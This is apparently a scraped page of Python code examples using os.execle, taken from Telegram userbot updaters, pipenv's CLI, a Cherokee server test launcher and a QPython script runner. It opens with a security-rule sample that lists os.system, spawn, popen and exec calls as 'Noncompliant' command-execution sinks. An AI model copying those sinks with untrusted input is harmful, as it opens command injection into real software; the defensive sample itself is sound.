os.system(cmd)  # Noncompliant
mode = os.P_WAIT
file = "ls"
path = "/bin/ls"
env = os.environ
os.spawnl(mode, path, *params)  # Noncompliant
os.spawnle(mode, path, *params, env)  # Noncompliant
os.spawnlp(mode, file, *params)  # Noncompliant
os.spawnlpe(mode, file, *params, env)  # Noncompliant
os.spawnv(mode, path, params)  # Noncompliant
os.spawnve(mode, path, params, env)  # Noncompliant
os.spawnvp(mode, file, params)  # Noncompliant
os.spawnvpe(mode, file, params, env)  # Noncompliant
mode = 'r'
(child_stdout) = os.popen(cmd, mode, 1)  # Noncompliant

# print(child_stdout.read())
(_, output) = subprocess.getstatusoutput(cmd)  # Noncompliant
out = subprocess.getoutput(cmd)  # Noncompliant
os.startfile(path)  # Noncompliant
os.execl(path, *params)  # Noncompliant
os.execle(path, *params, env)  # Noncompliant
os.execlp(file, *params)  # Noncompliant
os.execlpe(file, *params, env)  # Noncompliant
os.execv(path, params)  # Noncompliant
os.execve(path, params, env)  # Noncompliant
os.execvp(file, params)  # Noncompliant
os.execvpe(file, params, env)  # Noncompliant
예제 #54
0
async def upstream(ups):
    "For .update command, check if the bot is up to date, update if specified"
    conf = ups.pattern_match.group(1)
    await ups.edit("Checking for updates, please wait....")
    off_repo = UPSTREAM_REPO_URL
    force_update = False
    try:
        txt = "Oops.. Updater cannot continue due to "
        txt += "some problems occured`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await ups.edit(f'{txt}\ndirectory {error} is not found')
        repo.__del__()
        return
    except GitCommandError as error:
        await ups.edit(f'{txt}\nEarly failure! {error}')
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await ups.edit(f"**Hey ßoss!!!**😁😁\n__To get the Latest update of__ \n©blackghouls_channel\n\n do |`.update now`| 😎😎 ")
            return
        repo = Repo.init()
        origin = repo.create_remote('upstream', off_repo)
        origin.fetch()
        force_update = True
        repo.create_head('master', origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)
    ac_br = repo.active_branch.name
    if ac_br != 'master':
        await ups.edit(
            f'**[UPDATER]:**` Looks like you are using your own custom branch ({ac_br}). '
            'in that case, Updater is unable to identify '
            'which branch is to be merged. '
            'please checkout to any official branch`')
        repo.__del__()
        return
    try:
        repo.create_remote('upstream', off_repo)
    except BaseException:
        pass
    ups_rem = repo.remote('upstream')
    ups_rem.fetch(ac_br)
    changelog = await gen_chlog(repo, f'HEAD..upstream/{ac_br}')
    if not changelog and not force_update:
        await ups.edit(
            f'\n**{ac_br} master your bot is already up to date..**\n')
        repo.__del__()
        return
    if conf != "now" and not force_update:
        changelog_str = f'**New UPDATE available for [{ac_br}]:\n\nCHANGELOG:**\n`{changelog}`'
        if len(changelog_str) > 4096:
            await ups.edit("`Changelog is too big, view the file to see it.`")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await ups.edit(changelog_str)
        await ups.respond("do `.update now` to update")
        return
    if force_update:
        await ups.edit('Force-Syncing to latest stable userbot code, please wait master...😅😅')
    else:
        await ups.edit('`Updating userbot, please wait....you arey best boss🤗😇')
    if HEROKU_API_KEY is not None:
        import heroku3
        heroku = heroku3.from_key(HEROKU_API_KEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APP_NAME:
            await ups.edit('Please set up the `HEROKU_APP_NAME` variable to be able to update userbot.')
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APP_NAME:
                heroku_app = app
                break
        if heroku_app is None:
            await ups.edit(
                f'{txt}\n`Invalid Heroku credentials for updating userbot dyno.`'
            )
            repo.__del__()
            return
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
            await ups.edit("`⬛⬛⬛⬛ \n⬛✳️✳️⬛ \n⬛✳️✳️⬛ \n⬛⬛⬛⬛`")
            await asyncio.sleep(1)
            await ups.edit("`⬛⬛⬛⬛ \n⬛🔴🔴⬛ \n⬛🔴🔴⬛ \n⬛⬛⬛⬛`")
            await asyncio.sleep(1)
            await ups.edit("`⬛⬛⬛⬛ \n⬛🌕🌕⬛ \n⬛🌕🌕⬛ \n⬛⬛⬛⬛`")
            await asyncio.sleep(1)
            await ups.edit("`⬛⬛⬛⬛ \n⬛🔵🔵⬛ \n⬛🔵🔵⬛ \n⬛⬛⬛⬛`")
            await asyncio.sleep(1)
            await ups.edit("`⬛⬛⬛⬛ \n⬛❇️❇️⬛ \n⬛❇️❇️⬛ \n⬛⬛⬛⬛`")
            await asyncio.sleep(1)
        await ups.edit("`🇮🇳Updating BLACK-GHOULS🇮🇳\n\nYou are the 👑KING👑 Boss!!\n\nPlease wait 5min😁😁\nThen try .alive to check` 🇮🇳🇮🇳\n\n**Powered by :-**\n©blackghouls_channel ")
        remote.push(refspec="HEAD:refs/heads/master", force=True)
    else:
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        reqs_upgrade = await update_requirements()
        await ups.edit('`Successfully Updated!\n'
                       'Bot is restarting... Wait for a second!`')
        # Spin a new instance of bot
        args = [sys.executable, "-m", "userbot"]
        execle(sys.executable, *args, environ)
        return
예제 #55
0
파일: cli.py 프로젝트: brien-givens/pipenv
def cli(
    ctx,
    where=False,
    venv=False,
    rm=False,
    bare=False,
    three=False,
    python=False,
    help=False,
    py=False,
    site_packages=False,
    envs=False,
    man=False,
    completion=False,
    pypi_mirror=None,
    support=None,
    clear=False,
):
    # Handle this ASAP to make shell startup fast.
    if completion:
        from . import shells

        try:
            shell = shells.detect_info()[0]
        except shells.ShellDetectionFailure:
            echo(
                "Fail to detect shell. Please provide the {0} environment "
                "variable.".format(crayons.normal("PIPENV_SHELL", bold=True)),
                err=True,
            )
            sys.exit(1)
        print(click_completion.get_code(shell=shell, prog_name="pipenv"))
        sys.exit(0)

    from .core import (
        system_which,
        do_py,
        warn_in_virtualenv,
        do_where,
        project,
        spinner,
        cleanup_virtualenv,
        ensure_project,
        format_help,
        do_clear,
    )

    if man:
        if system_which("man"):
            path = os.sep.join([os.path.dirname(__file__), "pipenv.1"])
            os.execle(system_which("man"), "man", path, os.environ)
        else:
            echo("man does not appear to be available on your system.", err=True)
    if envs:
        echo("The following environment variables can be set, to do various things:\n")
        for key in environments.__dict__:
            if key.startswith("PIPENV"):
                echo("  - {0}".format(crayons.normal(key, bold=True)))
        echo(
            "\nYou can learn more at:\n   {0}".format(
                crayons.green(
                    "http://docs.pipenv.org/advanced/#configuration-with-environment-variables"
                )
            )
        )
        sys.exit(0)
    warn_in_virtualenv()
    if ctx.invoked_subcommand is None:
        # --where was passed…
        if where:
            do_where(bare=True)
            sys.exit(0)
        elif py:
            do_py()
            sys.exit()
        # --support was passed…
        elif support:
            from .help import get_pipenv_diagnostics

            get_pipenv_diagnostics()
            sys.exit(0)
        # --clear was passed…
        elif clear:
            do_clear()
            sys.exit(0)

        # --venv was passed…
        elif venv:
            # There is no virtualenv yet.
            if not project.virtualenv_exists:
                echo(
                    crayons.red("No virtualenv has been created for this project yet!"),
                    err=True,
                )
                sys.exit(1)
            else:
                echo(project.virtualenv_location)
                sys.exit(0)
        # --rm was passed…
        elif rm:
            # Abort if --system (or running in a virtualenv).
            if environments.PIPENV_USE_SYSTEM:
                echo(
                    crayons.red(
                        "You are attempting to remove a virtualenv that "
                        "Pipenv did not create. Aborting."
                    )
                )
                sys.exit(1)
            if project.virtualenv_exists:
                loc = project.virtualenv_location
                echo(
                    crayons.normal(
                        u"{0} ({1})…".format(
                            crayons.normal("Removing virtualenv", bold=True),
                            crayons.green(loc),
                        )
                    )
                )
                with spinner():
                    # Remove the virtualenv.
                    cleanup_virtualenv(bare=True)
                sys.exit(0)
            else:
                echo(
                    crayons.red(
                        "No virtualenv has been created for this project yet!",
                        bold=True,
                    ),
                    err=True,
                )
                sys.exit(1)
    # --two / --three was passed…
    if (python or three is not None) or site_packages:
        ensure_project(
            three=three,
            python=python,
            warn=True,
            site_packages=site_packages,
            pypi_mirror=pypi_mirror,
            clear=clear,
        )
    # Check this again before exiting for empty ``pipenv`` command.
    elif ctx.invoked_subcommand is None:
        # Display help to user, if no commands were passed.
        echo(format_help(ctx.get_help()))
예제 #56
0
        userbot.config.ConfigClass, "API_HASH") else None)
    STRING_SESSION = (userbot.config.ConfigClass.STRING_SESSION if hasattr(
        userbot.config.ConfigClass, "STRING_SESSION") else None)
    if SAFEMODE:
        addConfig("UBOT_LANG",
                  (userbot.config.ConfigClass.UBOT_LANG if hasattr(
                      userbot.config.ConfigClass, "UBOT_LANG") else None))
    del userbot.config
else:
    try:
        log.warning("Couldn't find a config file in \"userbot\" directory. "
                    "Starting Setup Assistant...")
        _PY_EXEC = (executable if " " not in executable else '"' + executable +
                    '"')
        _tcmd = [_PY_EXEC, "setup.py"]
        execle(_PY_EXEC, *_tcmd, environ)
    except Exception as e:
        log.warning(f"Failed to start Setup Assistant: {e}", exc_info=True)
        log.error("Couldn't find a config file in \"userbot\" directory. "
                  "Please run the Setup Assistant to setup your config file "
                  "or generate a config file manually: "
                  "Environment and Python scripts are supported")
    quit()

if not getConfig("TEMP_DL_DIR"):
    addConfig("TEMP_DL_DIR", path.join(".", "downloads"))

log.info("Configurations loaded")

try:
    if not path.exists(getConfig("TEMP_DL_DIR")):
            else:
                os.execl (VALGRIND_PATH, "valgrind", "--leak-check=full", "--num-callers=40", "-v", "--leak-resolution=high", server, "-C", cfg_file)
        elif strace:
            if sys.platform.startswith('darwin') or \
               sys.platform.startswith('sunos'):
                os.execl (DTRUSS_PATH, "dtruss", server, "-C", cfg_file)
            else:
                os.execl (STRACE_PATH, "strace", server, "-C", cfg_file)
        else:
            name = server[server.rfind('/') + 1:]

            env = os.environ
            if not env.has_key('CHEROKEE_PANIC_OUTPUT'):
                env['CHEROKEE_PANIC_OUTPUT'] = 'stdout'

            os.execle (server, name, "-C", cfg_file, env)
    else:
        print "Server"
        print_key ('PID', str(pid));
        print_key ('Path',  CHEROKEE_PATH)
        print_key ('Mods',  CHEROKEE_MODS)
        print_key ('Deps',  CHEROKEE_DEPS)
        print_key ('Panic', CHEROKEE_PANIC)
        if proxy_cfg_file:
            print_key ('Proxy conf', proxy_cfg_file)
        print

        if memproc:
            cmd = 'xterm -e "             \
            ( while :; do                 \
               [ -d /proc/%d ] || break;  \
예제 #58
0
async def upstream(ups):
    check = ups.message.sender_id
    checkint = int(check)
    # print(checkint)
    if int(check) != int(OWNER_ID):
        return
    "For .update command, check if the bot is up to date, update if specified"
    lol = await ups.reply("`Checking for updates, please wait....`")
    conf = ups.pattern_match.group(1)
    off_repo = UPSTREAM_REPO_URL
    force_update = False

    try:
        txt = "`Oops.. Updater cannot continue "
        txt += "please add heroku apikey, name`\n\n**LOGTRACE:**\n"
        repo = Repo()
    except NoSuchPathError as error:
        await lol.edit(f"{txt}\n`directory {error} is not found`")
        repo.__del__()
        return
    except GitCommandError as error:
        await lol.edit(f"{txt}\n`Early failure! {error}`")
        repo.__del__()
        return
    except InvalidGitRepositoryError as error:
        if conf != "now":
            await lol.edit(
                f"**Unfortunately, the directory {error} does not seem to be a git repository.\
            \nBut we can fix that by force updating the bot using** `/update now`"
            )
            return
        repo = Repo.init()
        origin = repo.create_remote("upstream", off_repo)
        origin.fetch()
        force_update = True
        repo.create_head("master", origin.refs.master)
        repo.heads.master.set_tracking_branch(origin.refs.master)
        repo.heads.master.checkout(True)

    ac_br = repo.active_branch.name
    if ac_br != "master":
        await lol.edit(
            f"**[UPDATER]:**` Looks like you are using your own custom branch ({ac_br}). "
            "in that case, Updater is unable to identify "
            "which branch is to be merged. "
            "please checkout to any official branch`")
        repo.__del__()
        return

    try:
        repo.create_remote("upstream", off_repo)
    except BaseException:
        pass

    ups_rem = repo.remote("upstream")
    ups_rem.fetch(ac_br)

    changelog = await gen_chlog(repo, f"HEAD..upstream/{ac_br}")

    if not changelog and not force_update:
        await lol.edit("\n`Your bot is`  **up-to-date**  \n")
        repo.__del__()
        return

    if conf != "now" and not force_update:
        changelog_str = (
            f"**New UPDATE available for {ac_br}\n\nCHANGELOG:**\n`{changelog}`"
        )
        if len(changelog_str) > 4096:
            await lol.edit("`Changelog is too big, view the file to see it.`")
            file = open("output.txt", "w+")
            file.write(changelog_str)
            file.close()
            await ups.client.send_file(
                ups.chat_id,
                "output.txt",
                reply_to=ups.id,
            )
            remove("output.txt")
        else:
            await lol.edit(changelog_str)
        await ups.respond("**do** `/update now` **to update**")
        return

    if force_update:
        await lol.edit(
            "`Force-Syncing to latest master bot code, please wait...`")
    else:
        await lol.edit("`Still Running ....`")

    if HEROKU_API_KEY is not None:
        heroku = heroku3.from_key(HEROKU_API_KEY)
        heroku_app = None
        heroku_applications = heroku.apps()
        if not HEROKU_APP_NAME:
            await lol.edit(
                "`Please set up the HEROKU_APP_NAME variable to be able to update your bot.`"
            )
            repo.__del__()
            return
        for app in heroku_applications:
            if app.name == HEROKU_APP_NAME:
                heroku_app = app
                break
        if heroku_app is None:
            await lol.edit(
                f"{txt}\n`Invalid Heroku credentials for updating userbot dyno.`"
            )
            repo.__del__()
            return
        await lol.edit("`[Updater]\
                        Your bot is being deployed, please wait for it to complete.\nIt may take upto 5 minutes `"
                       )
        ups_rem.fetch(ac_br)
        repo.git.reset("--hard", "FETCH_HEAD")
        heroku_git_url = heroku_app.git_url.replace(
            "https://", "https://*****:*****@")
        if "heroku" in repo.remotes:
            remote = repo.remote("heroku")
            remote.set_url(heroku_git_url)
        else:
            remote = repo.create_remote("heroku", heroku_git_url)
        try:
            remote.push(refspec="HEAD:refs/heads/master", force=True)
        except GitCommandError as error:
            await lol.edit(f"{txt}\n`Here is the error log:\n{error}`")
            repo.__del__()
            return
        await lol.edit("Successfully Updated!\n" "Restarting.......")
    else:
        # Classic Updater, pretty straightforward.
        try:
            ups_rem.pull(ac_br)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        reqs_upgrade = await updateme_requirements()
        await lol.edit("`Successfully Updated!\n" "restarting......`")
        # Spin a new instance of bot
        args = [sys.executable, "-m", "julia"]
        execle(sys.executable, *args, environ)
        return
예제 #59
0
def os_execle(command):
    import os
    os.execle(command, "arg", "arg")
예제 #60
0
#qpy:qpyapp
"""
Share script
"""
import glob
import os
import sys
import androidhelper
droid = androidhelper.Android()

_scripts = glob.glob("/sdcard/qpython/scripts3/*.py")
scripts = []
for x in _scripts:
    scripts.append(os.path.basename(x))

droid.dialogCreateAlert("Run QPython3 script...")
droid.dialogSetItems(scripts)
droid.dialogShow()

response = droid.dialogGetResponse().result

if 'item' in response:
    script = _scripts[response['item']]
    argv1 = len(sys.argv)>1 and sys.argv[1] or ''
    os.execle(sys.executable, os.path.basename(sys.executable), script, argv1, os.environ)
else:
    droid.makeToast("You cancel the share")